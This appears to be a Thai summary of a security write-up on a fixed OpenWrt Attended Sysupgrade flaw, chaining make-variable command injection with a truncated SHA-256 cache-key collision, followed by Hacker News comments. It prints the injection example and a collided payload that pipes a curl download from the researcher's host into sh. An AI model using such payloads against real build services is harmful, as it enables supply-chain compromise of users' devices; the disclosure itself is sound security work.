เหตุการณ์การโจมตีห่วงโซ่อุปทานของ OpenWrt
(flatt.tech)- ฟีเจอร์อัปเกรดผ่านเว็บของ OpenWrt อย่าง Attended Sysupgrade มีโครงสร้างที่สร้างเฟิร์มแวร์บนเซิร์ฟเวอร์บิลด์ออนไลน์ และเมื่อการฉีดคำสั่งถูกนำไปรวมกับการชนกันของ SHA-256 ที่ถูกตัดทอน อาจทำให้คำขอปกติได้รับผลลัพธ์บิลด์ที่ผิดพลาดกลับไปได้
- ค่า
packagesในคำขอถูกส่งต่อไปยังตัวแปรPACKAGES=ของmake manifestและด้วยลักษณะการขยายตัวแปรของmakeผู้โจมตีจึงสามารถรันคำสั่งใดก็ได้ ภายในคอนเทนเนอร์ imagebuilder - แฮชของรายการแพ็กเกจไม่ได้ใช้ SHA-256 ทั้งหมด แต่ใช้เพียง 12 อักขระแรก หรือ 48 บิตเป็นส่วนหนึ่งของคีย์แคช ทำให้รายการแพ็กเกจต่างกันสามารถสร้างแฮชคำขอเดียวกันได้
- นักวิจัยใช้ Hashcat ที่ดัดแปลงกับ RTX 4090 ได้ความเร็วประมาณ 18,000 ล้านแฮชต่อวินาที และยืนยันสำเร็จว่าสามารถใช้เพย์โหลดการฉีดคำสั่งที่ชนกันเพื่อเขียนทับผลลัพธ์
.binของ imagebuilder ได้ - ทีม OpenWrt หลังได้รับรายงานช่องโหว่แบบไม่เปิดเผย ได้ระงับ
sysupgrade.openwrt.orgชั่วคราวและปล่อยเวอร์ชันแก้ไขภายใน 3 ชั่วโมง แต่ไม่สามารถยืนยันได้ว่ามีการถูกใช้โจมตีก่อนหน้านี้หรือไม่
โครงสร้างการบิลด์เฟิร์มแวร์ออนไลน์ของ Attended Sysupgrade
- อินเทอร์เฟซเว็บ LuCI ของ OpenWrt มีฟีเจอร์
Attended Sysupgradeซึ่งใช้บริการออนไลน์ในการบิลด์เฟิร์มแวร์ใหม่ - บริการบิลด์ทำงานที่
sysupgrade.openwrt.orgและเมื่อผู้ใช้เลือกอุปกรณ์เป้าหมายกับแพ็กเกจที่ต้องการ ระบบจะสร้างอิมเมจเฟิร์มแวร์ใหม่ - เมื่อมีคำขออัปเกรด OpenWrt ฝั่งผู้ใช้จะส่งข้อมูลต่อไปนี้ไปยังเซิร์ฟเวอร์
- สถาปัตยกรรมเป้าหมาย
- โปรไฟล์อุปกรณ์
- แพ็กเกจที่เลือก
- เซิร์ฟเวอร์จะบิลด์อิมเมจเฟิร์มแวร์จากข้อมูลนี้ ส่งกลับไปยังอุปกรณ์ OpenWrt และอุปกรณ์จะแฟลชอิมเมจที่ได้รับ
- หากเซิร์ฟเวอร์ที่บิลด์อิมเมจจากแพ็กเกจที่ผู้ใช้ระบุไม่ได้ถูกแยก隔离อย่างเพียงพอ ผลลัพธ์บิลด์ที่ถูกนำไปใช้กับอุปกรณ์โดยตรงจะกลายเป็น พื้นผิวโจมตีของห่วงโซ่อุปทาน
การฉีดคำสั่งผ่านค่า PACKAGES
- เซิร์ฟเวอร์
sysupgrade.openwrt.orgเป็นโปรเจกต์โอเพนซอร์ส และซอร์สโค้ดอยู่ที่ openwrt/asu - สภาพแวดล้อมบิลด์ทำงานในคอนเทนเนอร์ที่สร้างด้วย
podman.containers.createและใช้การตั้งค่าอย่างcap_drop=["all"],no_new_privileges=True,privileged=False - ช่องโหว่เกิดขึ้นในส่วนที่เรียก
make manifestPROFILE={build_request.profile}PACKAGES={' '.join(build_cmd_packages)}STRIP_ABI=1
- target
manifestของ OpenWrt imagebuilder ส่งต่อค่าPACKAGESอีกครั้งในรูปแบบUSER_PACKAGES="$(PACKAGES)" makeจะขยายตัวแปรก่อนรันคำสั่ง ดังนั้นแม้จะครอบด้วยอัญประกาศเดี่ยว ค่าที่ผู้ใช้ควบคุมก็ไม่ได้ถูกจัดการอย่างปลอดภัย- ใน Makefile ตัวอย่าง หากรัน
make var="'; whoami #"คำสั่งwhoamiก็จะถูกรันแม้อยู่ภายในecho '$(var)'
- ใน Makefile ตัวอย่าง หากรัน
- เพราะพารามิเตอร์
packagesในคำขอถูกใส่ลงในตัวแปรPACKAGESผู้โจมตีจึงสามารถฝังคำสั่งไว้ในค่าที่ดูเหมือนชื่อแพ็กเกจ เพื่อรันคำสั่งใดก็ได้ ภายในคอนเทนเนอร์ imagebuilder - แม้คอนเทนเนอร์จะแยกจากโฮสต์ แต่ไบนารีที่สร้างขึ้นจะถูกลงนามด้วยกุญแจส่วนตัวในขั้นตอนถัดไป ดังนั้นการฉีดคำสั่งนี้จึงนำไปสู่ช่องโหว่ห่วงโซ่อุปทาน
คีย์แคช SHA-256 ที่ถูกตัดเหลือ 12 อักขระ
get_request_hashนำฟิลด์หลายตัวของคำขอบิลด์มาต่อกันเพื่อสร้างแฮชคำขอ และแฮชนี้ถูกใช้เป็นคีย์แคชของบิลด์- รายการแพ็กเกจไม่ได้ถูกใส่เป็นสตริงโดยตรง แต่ผลลัพธ์จาก
get_packages_hash(build_request.packages)จะถูกรวมอยู่ในแฮชคำขอภายนอก get_packages_hashลบแพ็กเกจซ้ำ จัดเรียง แล้วคำนวณ SHA-256 ของสตริงที่นำมาต่อกันด้วยช่องว่าง แต่ส่งคืนผลลัพธ์โดยตัดเหลือเพียง 12 อักขระแรก- prefix SHA-256 12 อักขระมีขนาด 48 บิต และมีพื้นที่ที่เป็นไปได้
2^48 = 281,474,976,710,656ค่า - เนื่องจากแฮชคำขอภายนอกรวมแฮชแพ็กเกจที่ถูกตัดทอนนี้ไว้ หากสร้างการชนกันของแฮชแพ็กเกจได้ รายการแพ็กเกจที่ต่างกันก็จะใช้คีย์แคชเดียวกัน
- ผลคือเซิร์ฟเวอร์อาจส่งคืน ผลลัพธ์บิลด์ที่ผิดพลาด สำหรับคำขอแพ็กเกจอีกชุดหนึ่งได้
หาเพย์โหลดที่ชนกันด้วย Hashcat
- เนื่องจากไม่พบเครื่องมือ brute force สำหรับ SHA-256 แบบ partial match จึงสร้างโปรแกรม OpenCL เอง แต่การคำนวณ 100 ล้านแฮชใช้เวลา 10 วินาที ซึ่งใกล้เคียงกับความเร็วแฮชบน CPU
- ต่อมาดัดแปลง Hashcat ให้พิมพ์แฮชออกมาแม้ตรงกันเพียง 8 อักขระ และใช้สคริปต์เล็ก ๆ ตรวจว่าชนกันครบ 12 อักขระหรือไม่
- รายการแพ็กเกจปกติถูกดึงจาก
firmware-selector.openwrt.orgและ SHA-256 ของรายการนั้นคือ8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb- 12 อักขระแรกคือ
8f7018b33d94 - เพย์โหลดโจมตีต้องมี prefix 12 อักขระเดียวกันด้วย
- 12 อักขระแรกคือ
- ตอนแรกใช้มาสก์รูปแบบ
`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`บน RTX 4090 และได้ความเร็วประมาณ 500 ล้านแฮชต่อวินาที ?lสร้างa-zดังนั้นพื้นที่ 10 ตัวอักษรคือ26^10 = 141,167,095,653,376ค่า ซึ่งเท่ากับประมาณครึ่งหนึ่งของ2^48- เมื่อเพิ่มมาสก์เป็น 11 ตัวอักษรและย้ายตำแหน่งมาสก์ไปไว้ด้านหน้าคำสั่ง ความเร็วเพิ่มขึ้นอย่างมาก
- แพตเทิร์นสุดท้ายคือ
`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh` - ด้วยแพตเทิร์นนี้ Hashcat คำนวณได้ประมาณ 18,000 ล้านแฮชต่อวินาที
- แพตเทิร์นสุดท้ายคือ
- ภายใน 1 ชั่วโมงพบการชนกัน 12 อักขระดังนี้
`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`- SHA-256 ของสตริงนี้คือ
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8โดย 12 อักขระแรกเหมือนกับรายการแพ็กเกจปกติ
รวมสองช่องโหว่เพื่อส่งคืนเฟิร์มแวร์ผิดตัว
- เมื่อส่งเพย์โหลดที่ชนกันผ่านพารามิเตอร์
packagesจะเกิดการฉีดคำสั่ง และสคริปต์จากtmp.ryotak.netจะถูกรัน - สคริปต์สำหรับตรวจสอบจะต่อโค้ดเพิ่มเข้าไปใน
/builder/scripts/json_overview_image_info.pyเพื่อเขียนทับผลลัพธ์ที่ imagebuilder สร้าง- อ่านรายการไฟล์ใน
BIN_DIR - หาไฟล์ที่ชื่อจบด้วย
.binแล้วเขียน"test"ลงในเนื้อหา
- อ่านรายการไฟล์ใน
- เพราะการชนกันของแฮช เซิร์ฟเวอร์จึงส่งคืนผลลัพธ์บิลด์ที่ถูกเขียนทับให้ผู้ใช้ที่ร้องขอรายการแพ็กเกจปกติ
- หากวิธีนี้ถูกนำไปใช้โจมตี ผู้ใช้จะอัปเกรดเป็น เฟิร์มแวร์อันตราย และอาจนำไปสู่การยึดอุปกรณ์ได้
การรายงานและการแก้ไข
- ช่องโหว่ถูกส่งต่อไปยังทีม OpenWrt ผ่าน การรายงานช่องโหว่แบบไม่เปิดเผย ของ GitHub
- หลังทีม OpenWrt ยืนยันปัญหา ได้ระงับบริการ
sysupgrade.openwrt.orgชั่วคราวและเริ่มการตรวจสอบ - เวอร์ชันแก้ไขถูกปล่อยภายใน 3 ชั่วโมง และบริการก็กลับมาเปิดอีกครั้ง
- ปัญหาทั้งสองรายการได้รับการแก้ไขแล้ว แต่เนื่องจากช่องโหว่มีอยู่มาระยะหนึ่ง จึงไม่สามารถทราบได้ว่ามีผู้อื่นนำไปใช้โจมตีแล้วหรือไม่
- ทีม OpenWrt เผยแพร่ ประกาศ เพื่อให้ผู้ใช้สามารถตรวจสอบและตรวจจับได้ว่าอุปกรณ์ถูกบุกรุกหรือไม่
สรุป
sysupgrade.openwrt.orgอาจถูกโจมตีได้ด้วยการผสาน การฉีดคำสั่ง กับ การชนกันของ SHA-256 ที่ถูกตัดทอน- นี่เป็นกรณีที่ทำให้การโจมตีชนกันของแฮชด้วย brute force สำเร็จในแอปพลิเคชันจริง และสร้างเส้นทางโจมตีห่วงโซ่อุปทานได้
- ทีม OpenWrt แก้ไขปัญหาและแจ้งผู้ใช้ภายในเวลาอันสั้น แต่บริการบิลด์ออนไลน์จำเป็นต้องจัดการคีย์แคชและการตรวจสอบอินพุตอย่างระมัดระวังมาก
1 ความคิดเห็น
ความคิดเห็นจาก Hacker News
ช่องโหว่ที่บทความตกหล่นไปคือ การรันโค้ดที่ปรับให้เจาะจงกับผู้ใช้บางรายหรืออุปกรณ์บางเครื่องจะกลายเป็นเรื่อง ปกติ
ไม่มีการตรวจสอบความสามารถในการทำซ้ำ และไม่มีใครมีวิธีตรวจสอบได้ว่าบริการ build/download แบบปรับแต่งเฉพาะนี้ไม่ได้สร้างบิลด์ที่ฝัง backdoor ไว้
ควรรับประกันว่าใช้บิลด์แบบเดียวกับ xz-utils ที่ Andres Freund ใช้ หรือบิลด์ที่ภายหลังนักวิจัยด้านความปลอดภัยสามารถดาวน์โหลดไปตรวจสอบว่ามี supply-chain implant ในซอฟต์แวร์โอเพนซอร์สหรือไม่[1]
เคยมีบทความอธิบายความพยายามของ Mozilla ที่จะบันทึกบิลด์สำหรับ release ลงใน public log แบบ Merkle tree แต่หยุดไปแล้ว[2] Google ได้จัดการการ implement บิลด์เฟิร์มแวร์ของ Pixel แล้ว แต่แอปที่เผยแพร่ผ่าน Google Play Store ยังดูเหมือนจะเปราะบางอยู่ (เว้นแต่จะมี log อื่นที่ผมหาไม่เจอ)[3] ส่วน Apple ไม่มี build transparency ในการเผยแพร่เฟิร์มแวร์และแอป ทั้งยัง target บิลด์เป็นรายอุปกรณ์ จึงดูแย่กว่า Google ในแง่ binary transparency
ตัวอย่างที่ดีคือ ebuild repository ของ Gentoo ซึ่งเก็บ checksum ของซอร์สไว้ใน Git repository/Merkle tree เดียว ทำให้มันอาจยังคงเป็นหนึ่งใน Merkle tree ที่ใหญ่และกระจายตัวกว้างที่สุดในบรรดาซอฟต์แวร์โอเพนซอร์ส
[1] หลัง backdoor ของ xz-utils นักวิจัยบางส่วนได้ทำการสแกนแบบอัตโนมัติ/กึ่งอัตโนมัติ เพื่อหาไฟล์ entropy สูงที่อธิบายไม่ได้ในบิลด์ของซอฟต์แวร์โอเพนซอร์ส ซึ่งอาจซ่อนโค้ดอันตรายไว้ได้ สำหรับบิลด์ที่ปรับเฉพาะผู้ใช้/อุปกรณ์ งานแบบนี้ทำไม่ได้ เว้นแต่ทุกบิลด์จะถูกเผยแพร่ต่อสาธารณะเพื่อการวิเคราะห์ภายหลัง และมาพร้อม public log (Merkle tree) สำหรับบิลด์ที่เผยแพร่นั้น
[2] https://wiki.mozilla.org/Security/Binary_Transparency
[3] https://developers.google.com/android/binary_transparency/ov...
องค์ประกอบจำนวนมากใน build pipeline มีความเป็น non-deterministic โดยธรรมชาติ เพราะการตัดสินใจในช่วง compile อาจต่างกันไปในแต่ละครั้ง แม้ไม่นับปัญหาเรื่อง flag ก็ยังเป็นแบบนั้น และจริง ๆ แล้วเป้าหมายของ optimizing compiler ก็ใกล้เคียงกับเรื่องนี้ด้วย ตามที่โปรเจกต์ reproducible builds หลายแห่งพบมาแล้ว หากเปิด optimization ความสามารถในการทำซ้ำแทบจะรับประกันไม่ได้
เท่าที่ผมรู้ ไม่มี log แบบรวมศูนย์ และปล่อยให้ผู้พัฒนาแอปเผยแพร่ key ของตนเองหรือ log ของ transparency file เอง
"".joinก็อันตรายไม่ใช่เหรอ?ถ้าเป็นรูปแบบ
get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ...ต่อให้ย้ายตัวอักษรข้ามระหว่างฟิลด์ที่อยู่ติดกัน hash ก็อาจยังเหมือนเดิมได้แม้จะยึดระบบโดยตรงไม่ได้ แต่ก็อาจทำให้ cache pollution ด้วย image ที่เสีย หรือชักนำให้ downgrade ได้
แก้ไข: ไม่ใช่ HMAC ควรเรียกว่า incremental hashing ถึงจะถูก
ดังนั้นโอเพนซอร์สจึงไม่มีทางแข่งขันกับซอฟต์แวร์ปิดสำหรับองค์กรได้เลย:
เพราะแก้ได้ใน 3 ชั่วโมงแทนที่จะปล่อยให้รอแพตช์ 6 เดือน ไม่ได้พยายามฟ้องคนที่รายงานปัญหา และไม่ได้บอกให้ทิ้งอุปกรณ์ที่ “เก่า” แต่ยังใช้งานได้ดีเพื่อไปซื้อของใหม่โดยให้ส่วนลดเล็กน้อย
หวังว่าจะมีแผนแก้ command injection ด้วย อย่างที่บทความบอก image ที่สร้างขึ้นมีการเซ็นชื่อไว้ ต่อให้ไม่มีลายเซ็น การที่อินพุตจากผู้ใช้ที่ไม่น่าเชื่อถือทำให้รันโค้ดได้ก็เป็นปัญหาอยู่ดี และช่องโหว่อาจเชื่อมโยงกันได้เหมือนกรณี hash collision ครั้งนี้
ขอเปลี่ยนได้ก็จริง แต่ก็เป็นรุ่นเดิมเท่านั้น ISP ไม่สนใจความปลอดภัยเลยและไม่แพตช์ด้วย ทั้งที่มีสิทธิ์เข้าถึงเราเตอร์แบบผูกขาดและยัง login จากระยะไกลได้อีก นี่มันไร้เหตุผลสิ้นดี
ในโปรเจกต์โอเพนซอร์สส่วนใหญ่ maintainer มักทำงานหนักเกินไป หรือไม่ก็ไม่อยากแก้ปัญหาด้านความปลอดภัยเลย
อย่างแรก นี่เป็นกรณีที่เครื่องมือนี้เป็นโอเพนซอร์สทั้งที่เดิมไม่ได้ทำมาเพื่อใช้งานแบบนั้น และเขียนไว้โดยไม่มี BuilderFactoryProvider จึงสามารถปรับให้เข้ากับงานได้ในเวลาอันสั้น
ขอโทษที่พูดเรื่องที่มีคนพูดไปแล้ว แต่ทุกวันเรื่องนี้ทำให้ผมเจ็บปวดมาก
ถ้าเป็นบริษัทใหญ่ คงใช้เวลาซ่อมประมาณ -1 ปี เพราะคงจะฟ้องคนคนนั้นและพยายามให้จับกุมให้เร็วที่สุด แล้วไม่มีทางออกแพตช์แน่นอน
OpenWrt หลังได้รับข้อมูลแล้วก็ปิดบริการที่ไม่ปลอดภัยลง ผู้ใช้อยู่ในสถานะปลอดภัยแล้วจากการ shutdown จากนั้นตรวจสอบรายงาน ทำแพตช์ และ ปล่อยภายใน 3 ชั่วโมง ยอดเยี่ยมมาก
สงสัยว่าผู้คนคิดไอเดียการตัดแฮชให้สั้นได้อย่างไร จุดประสงค์หรือประโยชน์คืออะไร?
ผมมองว่าไม่ใช่แนวปฏิบัติที่ดี แต่ในทางปฏิบัติผู้คนก็มักประนีประนอม
ตามคำตอบของ @Reid ใน [2] และคำตอบของ @ThomasPornin ใน [3] แนวคิดการตัดแฮชให้สั้นได้รับการสนับสนุนอย่างเต็มที่แม้แต่จาก NIST ด้วย จริง ๆ แล้ว SHA-224 ก็คือ SHA-256 ที่ถูกตัดให้สั้น และ SHA-384 ก็คือ SHA-512 ที่ถูกตัดให้สั้น
https://security.stackexchange.com/a/97389
บทความดีมาก แอบประหลาดใจเล็กน้อยที่การหาการชนกันที่สั้นขนาดนี้ต้องใช้ ปริมาณการประมวลผล GPU ระดับนั้น แต่ก็ดีที่ได้เห็น implementation
เกี่ยวกับส่วนสุดท้าย ค่าใช้จ่าย 40,000 ดอลลาร์ต่อเดือนสำหรับการวิเคราะห์ความปลอดภัยถือว่าสมเหตุสมผลไหม? ถ้าใช่ นักวิจัยด้านความปลอดภัยที่เก่ง ๆ ทำเงินได้ราว 500,000 ดอลลาร์ต่อปีเลยหรือ?
nmap/metasploitแบบขี้เกียจ ๆ แล้วห่อด้วย PDF ที่ดูน่าเชื่อถือ2^(12*4)หมายถึงสตริงความยาว 12 ตัวอักษรที่เป็นไปได้มี 281,474,976,710,656 แบบ ดังนั้นการไล่ดูได้มากขนาดนั้นภายในหนึ่งชั่วโมงจึงน่าประทับใจจริง ๆที่ว่า performance ของ
hashcatต่างกันเป็นหลายหลักตามลำดับอาร์กิวเมนต์นี่หมายความว่าอย่างไร? มันสแกน แพตเทิร์นเป้าหมาย ในบรรทัดอาร์กิวเมนต์ทุกครั้งที่รันหรือเปล่า?หรืออาจเป็นโครงสร้างเหมือนตอนนับเลข เช่น
100000000000010000000000110000000000001000000000คือการเปลี่ยนแปลงส่วนใหญ่เกิดทางซ้าย ส่วนการเปลี่ยนทางขวาพบไม่บ่อยนัก ถ้ามีคนที่รู้จัก hashcat มาตอบก็น่าสนใจดี ผมแค่กำลังเดาไปเรื่อย ๆ
เขียนกระบวนการโจมตีได้ดีมาก และตามอ่านได้ง่าย